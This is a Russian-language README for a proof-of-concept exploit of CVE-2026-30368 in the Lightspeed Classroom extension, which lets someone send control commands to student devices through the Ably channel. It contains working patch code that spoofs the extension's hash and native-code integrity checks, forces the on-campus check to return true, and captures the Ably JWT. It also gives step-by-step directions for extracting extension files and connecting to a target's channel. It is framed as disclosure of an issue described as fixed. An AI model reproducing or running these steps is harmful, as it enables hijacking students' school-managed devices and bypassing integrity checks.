
Эксплойт proof-of-concept для CVE-2026-30368, демонстрирующий обход аутентификации в Lightspeed Classroom для управления устройствами учащихся через канал Ably.
[!IMPORTANT]
Это исправлено, и теперь требуются учётные данные. Используйте обходной путь, чтобы выполнять действия над собой.
CVE-2026-30368 позволяет злоумышленнику управлять устройствами учащихся через слабую аутентификацию в системе управления классом Lightspeed Classroom. POC (poc.js) выполняет service worker из расширения LS Classroom в глобальном контексте. Worker также запускает classroom.wasm для некоторых функций. wasm-loader.js загружает worker и извлекает JWT-токен, сгенерированный classroom.wasm. После его извлечения worker завершается, а токен отправляется в API Lightspeed для получения токена, используемого для подключения к каналу Ably цели. Оттуда злоумышленник может отправить команду на устройство учащегося. Список команд и множество другой информации находится в полном отчёте здесь.
Они не могут находиться в этом репозитории, потому что:
Чтобы избежать проблем, я рекомендую использовать версию 5.1.2.1763770643. Если вам нужна помощь с адаптацией новых версий, вы предоставлены сами себе.
Вы можете получить файлы worker.js и classroom.wasm из исходного кода расширения Lightspeed. Это можно сделать, войдя в свою школьную учётную запись в Chrome на личном устройстве, а затем извлекая исходный код расширения из папки расширений, расположенной в каталоге вашего профиля Chrome. Вы также можете вручную загрузить crx через URL обновления.
Более простой метод эксплуатации — сначала получить classroom.wasm из исходного кода вашего расширения, затем поместить его в тот же каталог, что и wasm-only.js, и запустить:
$ node wasm-only.js
Введите адрес электронной почты и идентификатор клиента (customer ID) при запросе. Это подключится к каналу Ably. Перейдите к строке 815 и раскомментируйте то, что хотите отправить. Автор: ktibow на discord
После получения файлов просто добавьте их в каталог клонированного репозитория. Вам нужно будет зайти в wasm-loader.js в функцию getManifest() и вставить туда манифест вашего расширения. Также вам нужно будет добавить идентификатор расширения в wasm-loader.js вверху.
Сделайте копию worker.js с именем файла на ваше усмотрение. Она понадобится вам позже. Вам нужно будет прогнать worker.js через webcrack, чтобы деобфусцировать и деминифицировать его для выполнения необходимых модификаций. При этом убедитесь, что вы выбрали только опции "Deobfuscate" и "Unminify". Перед вставкой результата обратно в ваш редактор рекомендуется отключить все LSP-серверы, потому что они удаляют случайные переменные и ломают worker на последующих этапах (смотрю на тебя, vtsls...)
Поскольку service worker будет запускаться на node.js (убедитесь, что он у вас установлен), его потребуется немного пропатчить для корректной работы. Также необходимо добавить логику извлечения JWT. Добавьте следующие 2 функции в самом верху worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Они будут использоваться при модификации среды выполнения wasm go для перехвата и изменения значений, используемых LS classroom wasm.
Убедитесь, что вы заменили YOUR_EXTENSION_ID на идентификатор вашего расширения, а worker_copy.js — на имя файла копии исходного worker.js, которую вы сделали ранее.
Затем добавьте эти 2 функции внутри основной стрелочной функции (после (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Далее вам нужно жёстко задать IsClassroomActive как true, чтобы вы могли выполнять это вне кампусных сетей. Просто измените функцию так, чтобы она всегда возвращала true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Затем найдите syscall/js.valueCall, чтобы найти функцию valueCall, которую нужно модифицировать. Именно она сообщает wasm о значении JS. Два значения, которые перехватываются и изменяются путём модификации этой функции, — это путь к worker.js (он изменяется на копию вашего worker, чтобы проверка хеша прошла) и значение chrome.identity.getProfileUserInfo.toString, которое изменяется на native code, чтобы WASM верил, что ему можно доверять, хотя на самом деле оно было изменено в верхней части файла. Для этого вам нужно использовать функции valueCallBefore и valueCallAfter, которые мы определили вверху. Измените функцию valueCall следующим образом (имена переменных будут различаться, но структура та же):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Почти готово. Наконец, вам нужно добавить код для захвата JWT. Найдите echoMessages: false, и вы найдёте переменную, содержащую список заголовков, отправляемых в Ably. Сразу под ней добавьте эту строку (имена переменных, скорее всего, не будут точными; вы можете найти ту же строку, обращающуюся к ablyJwt в authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Это присваивает JWT переменной в глобальной области видимости, чтобы wasm-loader.js («обвязка», запускающая service worker) мог получить к нему доступ. На этом модификация worker завершена. Убедитесь, что все ваши LSP всё ещё отключены. Если они снова включились, у вас могут возникнуть проблемы с неопределёнными переменными на последующих этапах.
Перейдите к файлу poc.js. Вверху добавьте адрес электронной почты и идентификатор клиента (Customer ID) учётной записи, на которой вы хотите тестировать (желательно вашей собственной). Использование чужого идентификатора клиента вызовет ошибку, поскольку вам нужны правильные файлы worker.js и classroom.wasm, соответствующие этому идентификатору клиента.
Ключ API Ably в poc.js отредактирован по юридическим причинам, поэтому вам придётся найти его самостоятельно. Ищите его в worker.js, он начинается с G52. Ваш идентификатор клиента также можно найти там же: ищите CUSTOMER_ID: или строку в формате: XX-XXXX-XXXX. Последние 3 цифры обычно 000.